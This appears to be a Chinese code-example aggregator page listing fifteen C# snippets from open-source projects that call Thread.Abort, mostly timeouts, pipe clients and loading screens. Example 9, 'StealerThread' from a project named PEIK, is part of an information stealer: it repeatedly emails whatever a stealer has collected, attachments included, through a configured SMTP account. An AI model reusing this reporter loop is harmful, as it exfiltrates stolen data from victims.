当前位置: 首页>>代码示例>>C#>>正文


C# Thread.Abort方法代码示例

本文整理汇总了C#中System.Threading.Thread.Abort方法的典型用法代码示例。如果您正苦于以下问题:C# Thread.Abort方法的具体用法?C# Thread.Abort怎么用?C# Thread.Abort使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在System.Threading.Thread的用法示例。


在下文中一共展示了Thread.Abort方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C#代码示例。

示例1: CheckForLoops

 private static void CheckForLoops(IEnumerable<Activity> activities)
 {
     var isCaughtProperly = false;
     var thread = new System.Threading.Thread(
         () =>
             {
                 try {
                     activities.CriticalPath(p => p.Predecessors, l => (long)l.Duration);
                 }
                 catch (System.InvalidOperationException ex) {
                     System.Console.WriteLine("Found problem: " + ex.Message);
                     isCaughtProperly = true;
                 }
             }
         );
     thread.Start();
     for (var i = 0; i < 100; i++) {
         Thread.Sleep(100); // Wait for 10 seconds - our thread should finish by then
         if (thread.ThreadState != ThreadState.Running)
             break;
     }
     if(thread.ThreadState ==ThreadState.Running)
         thread.Abort();
     System.Console.WriteLine(isCaughtProperly
                                  ? "Critical path caught the loop"
                                  : "Critical path did not find the loop properly");
 }
开发者ID:pourmand,项目名称:amaal,代码行数:27,代码来源:CriticalPathMethod.cs

示例2: ScanFile

 public void ScanFile(IWin32Window ParentForm, string FileName)
 {
     lock (this.FSD) {
     if (FileName != null && File.Exists(FileName)) {
       this.FSD = new FileScanDialog();
       var T = new Thread(() => {
     try {
       Application.DoEvents();
       while (!this.FSD.Visible) {
         Thread.Sleep(0);
         Application.DoEvents();
       }
       this.FSD.Invoke(new AnonymousMethod(() => this.FSD.ResetProgress()));
       this.FileContents = FileType.LoadAll(FileName, (msg, pct) => this.FSD.Invoke(new AnonymousMethod(() => this.FSD.SetProgress(msg, pct))));
       this.FSD.Invoke(new AnonymousMethod(() => this.FSD.Finish()));
     } catch {
       this.FileContents = null;
     }
       });
       T.CurrentUICulture = Thread.CurrentThread.CurrentUICulture;
       T.Start();
       if (this.FSD.ShowDialog(ParentForm) == DialogResult.Abort) {
     this.FSD.Finish();
     this.FileContents = null;
       }
       if (T.IsAlive)
     T.Abort();
       this.FSD.Dispose();
       this.FSD = null;
     }
       }
 }
开发者ID:Zastai,项目名称:POLUtils,代码行数:32,代码来源:FileScanner.cs

示例3: HardenedThreadAbortException

 public void HardenedThreadAbortException()
 {
     Thread t = new Thread(new ThreadStart(HardenedThreadAbortExceptionWorker));
     t.Name = "Execute Query";
     t.Start();
     Thread.Sleep(500);
     t.Abort();
     t.Join();
 }
开发者ID:noahvans,项目名称:mariadb-connector-net,代码行数:9,代码来源:Threading.cs

示例4: IT_CacheEndToEnd

        public void IT_CacheEndToEnd()
        {
            //1. 启动缓存服务
            Thread thread = new Thread(StartCache);
            thread.Start();
            Thread.Sleep(5000);

            //2. 测试单一存和取
            GetAndSet();

            thread.Abort();
            CloseCache();
        }
开发者ID:89sos98,项目名称:iveely,代码行数:13,代码来源:CacheTest.cs

示例5: AsyncUserJob

        private AsyncUserJob(DelegateJob callback, string title)
            : base(title)
        {
            thread = new Thread(delegate() {
                callback();
                Finish();
            });
            CanCancel = true;
            CancelRequested += delegate {
                thread.Abort();
                Finish();

            };
            SetResources(Resource.Cpu);
        }
开发者ID:pontus,项目名称:banshee-googlemusic,代码行数:15,代码来源:AsyncUserJob.cs

示例6: FindReceiver_GivenThereIsAReceiverOnTheLeftOutletButNotTheRightOutlet_ReturnsNull

        public void FindReceiver_GivenThereIsAReceiverOnTheLeftOutletButNotTheRightOutlet_ReturnsNull()
        {
            // Arrange
            var thread = new Thread(() =>
            {
                splittingPipe.LeftOutlet.Receive();
            });
            thread.Start();
            Thread.Sleep(500);

            // Act
            var receiver = splittingPipe.FindReceiver(splittingPipe.Inlet);

            // Assert
            receiver.Should().BeNull();
            thread.Abort();
        }
开发者ID:michaelbradley91,项目名称:Pipes,代码行数:17,代码来源:SplittingPipeTests.cs

示例7: ConnectTo

 public Socket ConnectTo(IPAddress address, int port)
 {
     _remoteEndPoint = new IPEndPoint(address, port);
     _socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
     while (true)
     {
         _waitForConnection = new AutoResetEvent(false);
         var connectorThread = new Thread(WaitForConnection);
         connectorThread.Start();
         if (!_waitForConnection.WaitOne(4000, false))
         {
             connectorThread.Abort();
             _socket.Close();
             _socket = null;
         }
         return _socket;
     }
 }
开发者ID:FlankPhi,项目名称:HomeAutomation,代码行数:18,代码来源:Connector.cs

示例8: Abort

        /// <summary>
        /// Aborts the specified worker thread, if configured to do so.
        /// </summary>
        /// <param name="workerThread">The worker thread.</param>
        /// <returns>True if thread aborted; false otherwise</returns>
        public bool Abort(Thread workerThread)
        {
            //return if we never abort worker threads
            if (!_configuration.AbortWorkerThreadsWhenStopping) return false;
            
            //return if the worker is already dead
            if (workerThread == null || !workerThread.IsAlive) return true;

            //we can't abort async threads
            if (_messageMode.Mode == MessageProcessingModes.Async)
            {
                return false;
            }

            //abort the thread... :(
            workerThread.Abort();
            
            return true;
        }
开发者ID:blehnen,项目名称:DotNetWorkQueue,代码行数:24,代码来源:AbortWorkerThread.cs

示例9: StealerThread

 public StealerThread(IStealer stealer, int delay)
 {
     _delay = delay;
     _stealer = new Thread(stealer.Collect);
     _reporter = new Thread(delegate()
                                {
                                    while (true)
                                    {
                                        bool runOnce = _delay < 1;
                                        if (!runOnce)
                                        {
                                            Thread.Sleep(_delay*60000);
                                        }
                                        if (string.IsNullOrEmpty(stealer.Data)) continue;
                                        ReportEmail em = new ReportEmail(stealer.Name,
                                                                         Program.Settings.EmailAddress,
                                                                         Program.Settings.EmailPassword,
                                                                         Program.Settings.SmtpAddress,
                                                                         Program.Settings.SmtpPort);
                                        if (stealer.Attachments == null)
                                        {
                                            em.Send(stealer.Data);
                                        } else
                                        {
                                            em.Send(stealer.Data, stealer.Attachments);
                                        }
                                        stealer.Data = null;
                                        stealer.Attachments = null;
                                        if (runOnce)
                                        {
                                            _stealer.Abort();
                                            _reporter.Abort();
                                            break;
                                        }
                                    }
                                });
     Variables.StealerPool.Add(this);
 }
开发者ID:xingkongtianyu,项目名称:PEIK,代码行数:38,代码来源:StealerThread.cs

示例10: Main

        static void Main()
        {
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            Form foo = new Form1();
            //Application.Run(foo);
            Thread newThread;
            //Process P1 = Process.Start(form());
            //P1.WaitForExit(5000);
            //System.Threading.Thread.Sleep(500);
            //foo.Close();
            //Application.Exit();
            //foo.Close();
            //Environment.Exit(0);

            newThread = new System.Threading.Thread(() => Application.Run(new Form1()));
            newThread.Start();
            System.Threading.Thread.Sleep(2000);
            newThread.Abort();
            newThread = new System.Threading.Thread(() => Application.Run(new Form3()));
            newThread.Start();
            System.Threading.Thread.Sleep(2000);
            newThread.Abort();
        }
开发者ID:foxnewsnetwork,项目名称:americanlit-prompt32,代码行数:24,代码来源:Program.cs

示例11: ClientThreadRoutineRunSingleCommand

        private void ClientThreadRoutineRunSingleCommand()
        {
            ReceivedMessage = "Error in ClientThreadRoutineRunSingleCommand";
            try
            {
                Log.Debug("ClientThreadRoutineRunSingleCommand: Connecting to server " + hostName);
                Log.Debug("pipe=" + pipeName);
                Log.Debug("hostname=" + hostName);

                pipeClient = new NamedPipeClientStream(hostName, pipeName,
                        PipeDirection.InOut, PipeOptions.None,
                        TokenImpersonationLevel.Impersonation);
               
                pipeClient.Connect();
                
                StreamString ss = new StreamString(pipeClient);
                //Log.Debug("1 ClientMessage=" + ClientMessage);
                //send clientmessage to server
                ss.WriteString(ClientMessage);
                //pipeClient.ReadTimeout = 5000; //timeout not supported for async streams

                PipeRunThreadTimeOutCounter = new Thread(ClientTimeOutError);
                PipeRunThreadTimeOutCounter.Start();
                ReceivedMessage = ss.ReadString();
                PipeRunThreadTimeOutCounter.Abort();


                Log.Debug("ClientThreadRoutineRunSingleCommand: ***** SERVERMESSAGE=" + ReceivedMessage);


                Log.Debug("ClientThreadRoutineRunSingleCommand: closing client pipe - command executed");
            }
            catch (Exception exc)
            {
                Log.Debug("ClientThreadRoutineRunSingleCommand: ClientThread() exception=" + exc.Message);
            }

            if (pipeClient != null)
            {
                pipeClient.Close();
                //pipeClient = null;
            }

            Log.Debug("ClientThreadRoutineRunSingleCommand: Pipe Client Thread Completed");
            //OldConnect = false;
            return;
        }
开发者ID:huha001,项目名称:TvWishList,代码行数:47,代码来源:PipeClient.cs

示例12: ClientRoutineRunEpg

        private void ClientRoutineRunEpg()
        {
            bool success = false;
            for (int i = 1; i <= 3; i++) //three retries for sending command
            {
                TIMEOUT = false;
                try
                {
                    Log.Debug("ClientRoutineRunEpg: Connecting to server " + hostName);
                    Log.Debug("pipe=" + pipeName);
                    Log.Debug("hostname=" + hostName);

                    pipeClient = new NamedPipeClientStream(hostName, pipeName,
                            PipeDirection.InOut, PipeOptions.None,
                            TokenImpersonationLevel.Impersonation);

                    pipeClient.Connect();
                    StreamString ss = new StreamString(pipeClient);
                    //send clientmessage to server
                    Log.Debug("Writing command " + ClientMessage);
                    ss.WriteString(ClientMessage);
                    ReceivedMessage = "ClientThreadRoutineRunEpg Error";
                    while ((ReceivedMessage.StartsWith(PipeCommands.Ready.ToString()) == false) && (ReceivedMessage.StartsWith(PipeCommands.Error.ToString()) == false))
                    {
                        PipeRunThreadTimeOutCounter = new Thread(ClientTimeOutError);
                        PipeRunThreadTimeOutCounter.Start();
                        ReceivedMessage = ss.ReadString();
                        PipeRunThreadTimeOutCounter.Abort();
                        //evaluate response from server
                        string Processedmessage = string.Empty;
                        if (ReceivedMessage.StartsWith(PipeCommands.Ready.ToString()) == true)
                        {
                            Processedmessage = ReceivedMessage.Substring(PipeCommands.Ready.ToString().Length);
                        }                          
                        else if (ReceivedMessage.StartsWith(PipeCommands.Error.ToString()) == true)
                        {
                            Processedmessage = ReceivedMessage.Substring(PipeCommands.Error.ToString().Length);
                        }
                        else
                        {
                            Processedmessage = ReceivedMessage;
                        }
                        Log.Debug("***** SERVERMESSAGE=" + ReceivedMessage);



                        labelmessage(Processedmessage, PipeCommands.StartEpg); 
                        //myTvWishes.StatusLabel(Processedmessage);
                        Log.Debug("***** SERVERMESSAGE=" + ReceivedMessage);
                    }

                    Log.Debug("closing client pipe - command executed");
                    if (pipeClient != null)
                    {
                        pipeClient.Close();
                        if (pipeClient != null)
                            pipeClient = null;
                    }

                    

                    success = true;
                    break;
                }
                catch (Exception exc)
                {
                    Log.Debug("Sending tv server command failed in iteration i=" + i.ToString());



                    Log.Debug("ClientThread() exception=" + exc.Message);
                    Thread.Sleep(2000);
                    if (pipeClient != null)
                    {
                        pipeClient.Close();
                        if (pipeClient != null)
                            pipeClient = null;
                    }

                    if (TIMEOUT)
                    {
                        TIMEOUT = false;
                        break;
                    }
                }
            }

            if (success == false)
            {
                //MessageBox.Show(lng.TranslateString("TvWishList MediaPortal Plugin Does Not Match To TvWishList TV Server Plugin", 1206).Replace("<br>", "\n"));   
                MessageBox.Show(lng.TranslateString("TvWishList MediaPortal Plugin Does Not Match To TvWishList TV Server Plugin", 1206).Replace("<br>", Environment.NewLine),"Error"); 
               // myTvWishes.MyMessageBox(4305, 1206); //TvWishList MediaPortal Plugin Does Not Match To TvWishList TV Server Plugin
            }
            Log.Debug("ClientThreadRoutineRunEpg() Thread Completed");
            //OldConnect = false;
        }
开发者ID:huha001,项目名称:TvWishList,代码行数:96,代码来源:PipeClient.cs

示例13: btnSearch_Click


//.........这里部分代码省略.........
            if (txtSearch.Text == "")
            {
                treeSystem.BeginUpdate();
                treeSystem.Nodes.Clear();
                treeSystem.Nodes.Add(Create_Nodes(accion.Root));
                treeSystem.Nodes[0].Expand();
                treeSystem.EndUpdate();
                return;
            }

            Thread waiting = new System.Threading.Thread(ThreadEspera);

            sFolder resul = new sFolder();
            resul.files = new List<sFile>();
            resul.folders = new List<sFolder>();

            #region Search type
            if (txtSearch.Text == "<Ani>")
                resul = accion.Search_File(Format.Animation);
            else if (txtSearch.Text == "<Cell>")
                resul = accion.Search_File(Format.Cell);
            else if (txtSearch.Text == "<Map>")
                resul = accion.Search_File(Format.Map);
            else if (txtSearch.Text == "<Image>")
                resul = accion.Search_File(Format.Tile);
            else if (txtSearch.Text == "<FullImage>")
                resul = accion.Search_File(Format.FullImage);
            else if (txtSearch.Text == "<Palette>")
                resul = accion.Search_File(Format.Palette);
            else if (txtSearch.Text == "<Text>")
                resul = accion.Search_File(Format.Text);
            else if (txtSearch.Text == "<Video>")
                resul = accion.Search_File(Format.Video);
            else if (txtSearch.Text == "<Sound>")
                resul = accion.Search_File(Format.Sound);
            else if (txtSearch.Text == "<Font>")
                resul = accion.Search_File(Format.Font);
            else if (txtSearch.Text == "<Compress>")
                resul = accion.Search_File(Format.Compressed);
            else if (txtSearch.Text == "<Script>")
                resul = accion.Search_File(Format.Script);
            else if (txtSearch.Text == "<Pack>")
                resul = accion.Search_File(Format.Pack);
            else if (txtSearch.Text == "<Texture>")
                resul = accion.Search_File(Format.Texture);
            else if (txtSearch.Text == "<3DModel>")
                resul = accion.Search_File(Format.Model3D);
            else if (txtSearch.Text == "<Unknown>")
                resul = accion.Search_File(Format.Unknown);
            else if (txtSearch.Text.StartsWith("Length: ") && txtSearch.Text.Length > 8 && txtSearch.Text.Length < 17)
                resul = accion.Search_FileLength(Convert.ToInt32(txtSearch.Text.Substring(7)));
            else if (txtSearch.Text.StartsWith("ID: ") && txtSearch.Text.Length > 4 && txtSearch.Text.Length < 13)
            {
                sFile searchedFile = accion.Search_File(Convert.ToInt32(txtSearch.Text.Substring(4), 16));
                if (searchedFile.name is String)
                    resul.files.Add(searchedFile);
            }
            else if (txtSearch.Text.StartsWith("Offset: ") && txtSearch.Text.Length > 8 && txtSearch.Text.Length < 17)
                resul = accion.Search_FileOffset(Convert.ToInt32(txtSearch.Text.Substring(8), 16));
            else if (txtSearch.Text.StartsWith("Header: ") && txtSearch.Text.Length > 8)
            {
                if (!isMono)
                    waiting.Start("S07");

                List<byte> search = new List<byte>();
                for (int i = 8; i + 1 < txtSearch.Text.Length; i += 2)
                    search.Add(Convert.ToByte(txtSearch.Text.Substring(i, 2), 16));

                if (search.Count != 0)
                    resul = accion.Search_File(search.ToArray());
            }
            else
                resul = accion.Search_File(txtSearch.Text);
            #endregion

            resul.id = (ushort)accion.LastFolderID;
            accion.LastFolderID++;
            if (resul.folders is List<sFolder>)
            {
                for (int i = 0; i < resul.folders.Count; i++)
                {
                    sFolder newFolder = resul.folders[i];
                    newFolder.id = resul.id;
                    resul.folders[i] = newFolder;
                }
            }

            TreeNode nodo = new TreeNode(Tools.Helper.GetTranslation("Sistema", "S2D"));
            FolderToNode(resul, ref nodo);

            treeSystem.BeginUpdate();
            treeSystem.Nodes.Clear();
            nodo.Name = Tools.Helper.GetTranslation("Sistema", "S2D");
            treeSystem.Nodes.Add(nodo);
            treeSystem.ExpandAll();
            treeSystem.EndUpdate();

            if (!isMono && waiting.ThreadState == ThreadState.Running)
                waiting.Abort();
        }
开发者ID:ShadeDBZ,项目名称:tinke,代码行数:101,代码来源:Sistema.cs

示例14: UnpackFolder

        private void UnpackFolder()
        {
            this.Cursor = Cursors.WaitCursor;
            Thread espera = new System.Threading.Thread(ThreadEspera);
            if (!isMono)
                espera.Start("S04");

            sFolder folderSelected = accion.Selected_Folder();
            if (!(folderSelected.name is String)) // If it's the search folder or similar
                folderSelected = Get_SearchedFiles();

            Recursivo_UnpackFolder(folderSelected);
            Get_SupportedFiles();

            treeSystem.BeginUpdate();

            treeSystem.Nodes.Clear();
            treeSystem.Nodes.Add(Create_Nodes(accion.Root));
            treeSystem.Nodes[0].Expand();

            treeSystem.EndUpdate();

            if (!isMono)
            {
                espera.Abort();
                debug.Add_Text(sb.ToString());
            }
            sb.Length = 0;
            this.Cursor = Cursors.Default;
        }
开发者ID:ShadeDBZ,项目名称:tinke,代码行数:30,代码来源:Sistema.cs

示例15: Sistema_Load

        void Sistema_Load(object sender, EventArgs e)
        {
            string[] filesToRead = new string[1];
            if (Environment.GetCommandLineArgs().Length == 1)
            {
                OpenFileDialog o = new OpenFileDialog();
                o.CheckFileExists = true;
                o.Multiselect = true;

                if (o.ShowDialog() != System.Windows.Forms.DialogResult.OK)
                {
                    Application.Exit();
                    return;
                }
                filesToRead = o.FileNames;
                o.Dispose();
            }
            else if (Environment.GetCommandLineArgs().Length == 2)
            {
                if (Environment.GetCommandLineArgs()[1] == "-fld")
                {
                    FolderBrowserDialog o = new FolderBrowserDialog();
                    o.ShowNewFolderButton = false;
                    if (o.ShowDialog() != System.Windows.Forms.DialogResult.OK)
                    {
                        Application.Exit();
                        return;
                    }
                    filesToRead[0] = o.SelectedPath;
                    o.Dispose();
                }
                else
                    filesToRead[0] = Environment.GetCommandLineArgs()[1];
            }
            else if (Environment.GetCommandLineArgs().Length >= 3)
            {
                filesToRead = new String[Environment.GetCommandLineArgs().Length - 1];
                Array.Copy(Environment.GetCommandLineArgs(), 1, filesToRead, 0, filesToRead.Length);
            }

            Thread espera = new System.Threading.Thread(ThreadEspera);
            if (!isMono)
                espera.Start("S02");

            if (filesToRead.Length == 1 &&
                (Path.GetFileName(filesToRead[0]).ToUpper().EndsWith(".NDS") || Path.GetFileName(filesToRead[0]).ToUpper().EndsWith(".SRL")))
                ReadGame(filesToRead[0]);
            else if (filesToRead.Length == 1 && Directory.Exists(filesToRead[0]))
                ReadFolder(filesToRead[0]);
            else
                ReadFiles(filesToRead);

            if (!isMono)
            {
                espera.Abort();

                debug = new Debug();
                debug.FormClosing += new FormClosingEventHandler(debug_FormClosing);
                debug.Add_Text(sb.ToString());
            }
            sb.Length = 0;

            romInfo.FormClosing += new FormClosingEventHandler(romInfo_FormClosing);
            LoadPreferences();

            this.Show();
            if (!isMono)
                debug.ShowInTaskbar = true;
            romInfo.ShowInTaskbar = true;
            this.Activate();
        }
开发者ID:ShadeDBZ,项目名称:tinke,代码行数:71,代码来源:Sistema.cs


注:本文中的System.Threading.Thread.Abort方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。